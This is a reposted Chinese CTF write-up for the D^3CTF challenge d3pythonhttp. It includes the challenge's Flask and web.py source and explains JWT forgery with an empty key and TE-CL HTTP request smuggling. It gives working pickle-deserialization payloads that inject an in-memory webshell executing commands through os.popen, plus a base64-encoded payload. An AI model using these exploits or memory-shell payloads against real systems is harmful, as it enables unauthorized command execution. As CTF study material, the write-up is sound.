【Web】D^3CTF之浅聊d3pythonhttp——TE-CL请求走私

news2024/10/7 5:31:11

目录

step0 题目信息 

step1 jwt空密钥伪造 

step1.5 有关TE&CL的lab

step2 TE-CL请求走私

payload1

payload2


step0 题目信息 

注意到题目源码前端是flask写的,后端是web.py写的

frontend

from flask import Flask, request, redirect, render_template_string, make_response
import jwt
import json
import http.client

app = Flask(__name__)

login_form = """
<form method="post">
    Username: <input type="text" name="username"><br>
    Password: <input type="password" name="password"><br>
    <input type="submit" value="Login">
</form>
"""

@app.route('/', methods=['GET'])
def index():
    token = request.cookies.get('token')
    if token and verify_token(token):
        return "Hello " + jwt.decode(token, algorithms=["HS256"], options={"verify_signature": False})["username"]
    else: 
        return redirect("/login", code=302)

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == "POST":
        user_info = {"username": request.form["username"], "isadmin": False}
        key = get_key("frontend_key")
        token = jwt.encode(user_info, key, algorithm="HS256", headers={"kid": "frontend_key"})
        resp = make_response(redirect("/", code=302))
        resp.set_cookie("token", token)
        return resp
    else:
        return render_template_string(login_form)

@app.route('/backend', methods=['GET', 'POST'])
def proxy_to_backend():
    forward_url = "python-backend:8080"
    conn = http.client.HTTPConnection(forward_url)
    method = request.method
    headers = {key: value for (key, value) in request.headers if key != "Host"}
    data = request.data
    path = "/"
    if request.query_string:
        path += "?" + request.query_string.decode()
    conn.request(method, path, body=data, headers=headers)
    response = conn.getresponse()
    return response.read()

@app.route('/admin', methods=['GET', 'POST'])
def admin():
    token = request.cookies.get('token')
    if token and verify_token(token):
        if request.method == 'POST':
            if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
                forward_url = "python-backend:8080"
                conn = http.client.HTTPConnection(forward_url)
                method = request.method
                headers = {key: value for (key, value) in request.headers if key != 'Host'}
                data = request.data
                path = "/"
                if request.query_string:
                    path += "?" + request.query_string.decode()
                if headers.get("Transfer-Encoding", "").lower() == "chunked":
                    data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
                if "BackdoorPasswordOnlyForAdmin" not in data:
                    return "You are not an admin!"
                conn.request(method, "/backdoor", body=data, headers=headers)
                return "Done!"
            else:
                return "You are not an admin!"
        else:
            if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
                return "Welcome admin!"
            else:
                return "You are not an admin!"
    else: 
        return redirect("/login", code=302)

def get_key(kid):
    key = ""
    dir = "/app/"
    try:
        with open(dir+kid, "r") as f:
            key = f.read()
    except:
        pass
    print(key)
    return key

def verify_token(token):
    header = jwt.get_unverified_header(token)
    kid = header["kid"]
    key = get_key(kid)
    try:
        payload = jwt.decode(token, key, algorithms=["HS256"])
        return True
    except:
        return False

if __name__ == "__main__":
    app.run(host = "0.0.0.0", port = 8081, debug=False)

backend

import web
import pickle
import base64

urls = (
    '/', 'index',
    '/backdoor', 'backdoor'
)
web.config.debug = False
app = web.application(urls, globals())


class index:
    def GET(self):
        return "welcome to the backend!"

class backdoor:
    def POST(self):
        data = web.data()
        # fix this backdoor
        if b"BackdoorPasswordOnlyForAdmin" in data:
            return "You are an admin!"
        else:
            data  = base64.b64decode(data)
            pickle.loads(data)
            return "Done!"


if __name__ == "__main__":
    app.run()

step1 jwt空密钥伪造 

jwt解密的过程是去jwttoken的header中取kid字段,然后对其拼接/app/得到文件路径,但我们不知道secretkey在哪个文件中,这里只要指定一个不存在的文件名就可以用空密钥去解密

且后续也不会去验证签名的合法性 

 

指定一个加密的空密钥,再把取解密密钥的路径置空 

 

带着token去访问./admin,发现成功伪造

 拿到admin之后我们就可以去请求后端 /backdoor 接口

要访问 /backdoor 接口,请求体要有 BackdoorPasswordOnlyForAdmin ,但后端想要执行pickle反序列化又不能有这段字符串,二者显然矛盾

 

 

step1.5 有关TE&CL的lab

我们可以实验下,请求头中有Transfer-Encoding时服务器接收的数据是怎样的

from flask import Flask, request

app = Flask(__name__)

@app.route('/admin', methods=['GET', 'POST'])
def admin():
        if request.method == 'POST':
                data1 = request.data
                print("这是前端接收到的数据")
                print(data1)
                data2 = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data1))[2:], data1.decode())
                print("这是前端向后端发的数据")
                print(data2)

if __name__ == "__main__":
    app.run(host = "0.0.0.0", port = 8081, debug=False)

bp发包的时候记得把repeater的Update content length关掉

(从上图bp发包可以看到,当Transfer-Encoding和Content-Length共存的时候,flask会优先按TE去解析,哪怕CL长度为1也不影响)

 

本地起的服务成功打印出接收的data,就是将我们传的分块数据进行了一个拼接 

向后端传的data,b8=9c+1c,就是进行了一个TE的格式化处理

至于后端接收的原始数据(暂时忽略Content-Length),显然就是

gANjYnVpbHRpbnMKZXZhbApxAFhUAAAAYXBwLmFkZF9wcm9jZXNzb3IoKGxhbWJkYSBzZWxmIDogX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9TZWNyM1RfRmxhZycpLnJlYWQoKSkpcQGFcQJScQMuBackdoorPasswordOnlyForAdmin

不作赘述

step2 TE-CL请求走私

于是就来到了本题的重头戏:浅谈HTTP请求走私

 考虑前后端对HTTP报文的解析差异

 后端web.py的web.data()对传入data有这样一段处理

就是说Transfer-Encoding 不为 chunked 就会走CL解析,这里可以用大写绕过chunked

前端flask对请求头的Transfer-Encoding判断时有一个小写的处理,这说明flask底层处理http报文不会将其转小写(否则就是多此一举),因而传往后端的headers中Transfer-Encoding仍然是大写的,这也就支持了上述绕过。

走过判断后,又对data手动进行了一个分块传输的格式处理

 

 

伪造一个恶意CL长度,就可以实现将特定的某一段字符传入后端(BackdoorPasswordOnlyForAdmin之前字符的长度。后端不会接收到,但是前端可以),这样一来就绕过了对于BackdoorPasswordOnlyForAdmin的检测,进行pickle反序列化,靶机不出网,可以结合web.py的add_processor方法注内存马(就是在访问路由后执行lambda表达式命令)

payload1

import pickle
import base64


class A(object):
    def __reduce__(self):
        return (eval, ("app.add_processor((lambda self : __import__('os').popen('cat /Secr3T_Flag').read()))",))


a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

Content-Length就是base64编码的长度

打入后直接访问/backend路由即可命令执行 

payload2

用pker生成opcode再转base64

GitHub - EddieIvan01/pker: Automatically converts Python source code to Pickle opcode

 exp.py

getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
a = dict_get(builtins, '__builtins__')
exec = getattr(a, 'exec')
exec('index.GET = lambda self:__import__("os").popen(web.input().cmd).read()')
return

python3 pker.py < exp.py | base64 -w 0

改一下Content-Length 

访问./backend?cmd=cat /Secr3T_Flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1633976.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

KMP算法与next数组【超详细】

一、朴素匹配法 S "abgabcd" T "abcd" 假设有两个字符串,要判断字符串T是否在字符串S中出现过&#xff0c;你会怎么做&#xff1f;一般来说我们都是这样&#xff0c;一个一个对比&#xff1a; #include<iostream> using namespace std; int mai…

机器学习:逻辑回归

概念 首先&#xff0c;逻辑回归属于分类算法&#xff0c;是线性分类器。我们可以认为逻辑回归是在多元线性回归的基础上把结果给映射到0-1的区间内&#xff0c;hθ&#xff08;x&#xff09;越接近1越有可能是正例&#xff0c;反之&#xff0c;越接近0越有可能是负例。那么&am…

C++中list的使用

文章目录 一、 list简介二、 构造函数1. 默认构造函数2. 拷贝构造3. 迭代器区间初始化4. 插入n个值为x的数据5. 代码示例 三、 容量和元素访问1. empty()2. size()3. max_size()3. back()4. front()5. 代码示例 四、 增删查改1. push_back()2. push_front()3. emplace_back()4.…

stm32f103zet6_串口实现-DHT11-tim1(定时)

1思路 1打开时钟 1.1使用定时器实现us级的计时 1.2在打开串口 1,3在DHT11驱动中修改引脚 stm32cudeMX 配置 1打开时钟 2打开串口 3打开tim1(定时器) 4生成代码 代码设置 1导入DHT11库(tim.h是定时器的文件系统自动生成的) DHT11.c #include "dht11.h" #inc…

机器学习:基于Sklearn、XGBoost框架,使用逻辑回归、支持向量机和XGBClassifier来诊断并预测一个人是否患有自闭症

前言 系列专栏&#xff1a;机器学习&#xff1a;高级应用与实践【项目实战100】【2024】✨︎ 在本专栏中不仅包含一些适合初学者的最新机器学习项目&#xff0c;每个项目都处理一组不同的问题&#xff0c;包括监督和无监督学习、分类、回归和聚类&#xff0c;而且涉及创建深度学…

nuxt3使用记录五:禁用莫名其妙的Tailwind CSS(html文件大大减小)

发现这个问题是因为&#xff0c;今天我突然很好奇&#xff0c;我发现之前构建的自动产生的200.html和404.html足足290k&#xff0c;怎么这么大呢&#xff1f;不是很占用我带宽&#xff1f; 一个啥东西都没有的静态页面&#xff0c;凭啥这么大&#xff01;所以我就想着手动把他…

爬虫实战-房天下(bengbu.zu.fang.com/)数据爬取

详细代码链接https://flowus.cn/hbzx/3c42674d-8e6f-42e3-a3f6-bc1258034676 import requests from lxml import etree #xpath解析库 def 源代码(url): cookies { global_cookie: xeqnmumh38dvpj96uzseftwdr20lvkwkfb9, otherid: b44a1837638234f1a0a15e…

Android Studio的笔记--布局文件

关于Layout布局文件的使用 LinearLayoutRelativeLayout之前文章的内容一些常见性质在android.graphics.Color中定义了12种常见的颜色常数线性布局LinearLayout 一些常见使用文本框TextView设置文本内容编辑框EditText获取文本内容按钮Button控件使用其他按钮修改图标及名称添加…

HEVC/H.265视频编解码学习笔记–框架及块划分关系

前言 由于本人在学习视频的过程中&#xff0c;觉得分块单元太多搞不清楚其关系&#xff0c;因此本文着重记录这些分块单元的概念以及关联。 一、框架 视频为一帧一帧的图像&#xff0c;其编码的主要核心是压缩空间以及时间上的冗余。因此&#xff0c;视频编码有帧内预测和帧间…

C语言函数指针的使用、函数指针数组及使用、指向函数指针数组的指针,指针进阶版的冒泡排序等介绍

文章目录 前言一、函数指针的使用1. 加减乘除计算器普通实现2. 加减乘除计算机函数指针实现 二、函数指针数组1. 函数指针数组的书写2. 两个有趣的代码3. 函数指针数组的使用 三、指向函数指针数组的指针四、指针进阶_冒泡排序1.整型冒泡排序2. C语言qsort函数3. 仿写C语言qsor…

第十二章 案例二:配置Trunk,实现相同VLAN的跨交换机通信

1、实验环境 公司的员工人数已达到 100 人&#xff0c;其网络设备如图12.13所示&#xff0c;现在的网络环境导致广播较多网速慢&#xff0c;并且也不安全&#xff0c;公司希望按照部门划分网络&#xff0c;并且能够保证一定的网络安全性 图12.13 实验案例二拓扑图 其网络规划…

【AIGC调研系列】来认识一下:WebLlama

WebLlama是一个基于Meta Llama 3构建的代理&#xff0c;专门为了网页导航和对话进行了微调。它是由McGill University的自然语言处理团队开发的研究项目&#xff0c;旨在通过对话进行网页浏览的智能代理[1][2]。WebLlama的目标是构建有效的人为中心的代理&#xff0c;帮助用户浏…

格雷希尔E10系列大电流测试连接器,在新能源汽车大电流接插件的电气测试方案

在新能源汽车的电驱动、电池包等设备的电测试处理中&#xff0c;格雷希尔E10系列电测试连接器具有显著的优势。E10系列的核心设计——插孔/插针&#xff0c;可以达到实验室10万次的插拔寿命&#xff0c;相比传统公母电接头500次左右的连接寿命&#xff0c;E10系列无疑大大减少测…

PCL 梯度滤波

文章目录 一、简介一、简介二、实现代码三、实现效果参考资料一、简介 一、简介 点云梯度滤波是指基于每个点与邻近点之间的倾斜程度进行滤波的算法,其原理也很简单,如下图所示: CloudCompare中的做法是: d i r = A B

网盘——删除常规文件

本文主要讲解网盘中文件操作部分的删除常规文件部分&#xff0c;具体实施步骤如下&#xff1a; 目录 1、具体步骤&#xff1a; 2、代码实现 2.1、添加删除常规文件的协议 2.2、添加删除常规文件槽函数 2.3、关联槽函数 2.4、添加槽函数定义 2.5、服务器回复 2.6、客户…

推荐一个wordpress免费模板下载

首页大背景图&#xff0c;首屏2张轮播图&#xff0c;轮换展示&#xff0c;效果非常的炫酷&#xff0c;非常的哇噻&#xff0c;使用这个主题搭建的wordpress网站&#xff0c;超过了200个&#xff0c;虽然是一个老主题了&#xff0c;不过是经得起时间考验的&#xff0c;现在用起来…

06|LangChain | 从入门到实战 -六大组件之Agent

点点赞~ 注意&#xff1a;langchain的版本迭代比较快&#xff0c;社区维护&#xff0c;代码当中或许部分方法在某个版本不再支持 01&#xff5c;LangChain | 从入门到实战-介绍 02&#xff5c;LangChain | 从入门到实战 -六大组件之Models IO 03&#xff5c;LangChain | 从入…

《R语言与农业数据统计分析及建模》——多重共线性和逐步回归

一、多重共线性 多重共线性&#xff1a;在多元线性回归时&#xff0c;多个自变量之间存在高度相关关系&#xff0c;时模型估计失真或难以估计准确的情况。 一般地&#xff0c;多元线性回归中自变量间应尽量相互独立。常规模型诊断方法难以检测多重共线性。 1、案例解释 作物产…

嵌入式学习65-C++(继承.派生和QT布局管理)

知识零碎&#xff1a; 信号合槽&#xff1a; 对象间通信 …

《动手学深度学习(Pytorch版)》Task03:线性神经网络——4.29打卡

《动手学深度学习&#xff08;Pytorch版&#xff09;》Task03&#xff1a;线性神经网络 线性回归基本元素线性模型损失函数随机梯度下降 正态分布与平方损失 线性回归的从零开始实现读取数据集初始化模型参数定义模型定义损失函数定义优化算法训练 线性回归的简洁实现读取数据集…